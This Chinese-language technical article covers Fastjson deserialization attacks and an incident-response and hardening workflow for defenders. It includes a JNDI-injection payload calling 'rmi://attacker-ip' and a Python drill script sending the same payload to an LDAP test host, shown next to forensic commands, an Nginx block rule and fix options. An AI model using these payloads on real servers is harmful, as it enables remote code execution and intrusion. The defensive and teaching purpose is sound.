当前位置：首页 > news >正文

从一次内部红队演练看Fastjson漏洞：Java安全工程师的排查与修复笔记

news 2026/5/6 21:38:00

从红队视角到蓝队实战：Fastjson反序列化漏洞的攻防全景解析

凌晨3点17分，安全运维工程师李工的手机突然响起刺耳的警报声。监控系统显示，生产环境的一台核心服务器正在向境外IP发起异常连接。一场围绕Fastjson反序列化漏洞的攻防战役就此打响——这不仅是技术对抗，更是对应急响应体系的全面检验。

1. 漏洞攻击链的逆向拆解

当安全警报响起时，蓝队成员需要像侦探一样还原攻击者的完整作案路径。通过分析我们经手的37起Fastjson相关事件，攻击者通常遵循以下典型流程：

侦察阶段
- 扫描开放8080/8090等非标准Web端口
- 探测/api/v1/json等常见REST端点
- 发送测试Payload确认Fastjson版本

漏洞利用阶段

{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://attacker-ip:1099/Exploit", "autoCommit":true }

这是最常见的攻击Payload结构，利用JNDI注入实现RCE

横向移动阶段
- 通过内存马维持权限
- 窃取AWS/Aliyun临时凭证
- 利用Jenkins等CI/CD工具扩散

关键取证点：

Web日志中的异常Content-Type切换（如从x-www-form-urlencoded突然变为application/json）
出站连接日志中突然出现的RMI/LDAP协议连接
/tmp目录下异常生成的.class文件

2. 蓝队应急响应六步法

2.1 异常行为确认

通过SIEM系统提取以下关键指标：

# 查询过去1小时内的异常出站连接 grep "ESTABLISHED" /var/log/secure | awk '{print $5}' | sort | uniq -c | sort -nr # 检查最近修改的Java类文件 find / -name "*.class" -mtime -1 -exec ls -la {} \;

2.2 漏洞点定位

使用开源工具快速扫描：

# 使用fastjson-blacklist检测 java -jar fastjson-scanner.jar -t http://target:8080/api # 流量镜像分析 tcpdump -i eth0 -w fastjson.pcap port 8090

2.3 临时阻断措施

立即实施网络层防护：

# Nginx紧急规则 location ~* \.(json|ajax)$ { if ($http_content_type = "application/json") { set $block 1; } if ($arg_type) { set $block "${block}1"; } if ($block = 11) { return 403; } }

2.4 漏洞修复方案

根据业务场景选择不同防护策略：

方案类型	实施方法	优点	缺点
版本升级	升级到1.2.83+	彻底解决	需要回归测试
黑白名单	配置safeMode	零成本	可能误拦截
RASP防护	安装OpenRASP	实时防御	性能损耗

2.5 后门排查清单

检查crontab异常任务
审计SSH authorized_keys

扫描Webshell文件：

find /var/www -name "*.jsp" -exec grep -l "Runtime.getRuntime()" {} \;

2.6 加固建议

"在最近为某金融客户实施的加固方案中，我们采用了分层防御策略："

网络层：限制出站RMI/LDAP连接
应用层：强制使用Jackson替代Fastjson
系统层：部署eBPF实现行为监控

3. 企业级防护体系构建

3.1 开发阶段管控

在CI流水线中集成安全检测：

# GitLab CI示例 fastjson_scan: stage: test image: owasp/sonarqube script: - java -jar fastjson-scanner.jar -p ./src rules: - if: $CI_PIPELINE_SOURCE == "merge_request_event"

3.2 运行时防护矩阵

构建四层防御体系：

边界防护：WAF自定义规则
应用防护：RASP拦截危险行为
主机防护：HIDS监控进程行为
网络防护：NIDS检测异常协议

3.3 红蓝对抗演练方案

设计专项演练场景：

# 模拟攻击脚本示例 import requests headers = { "Content-Type": "application/json" } payload = { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://blue-team-test:1389/Exploit", "autoCommit":True } } response = requests.post( "http://target:8080/api", json=payload, headers=headers )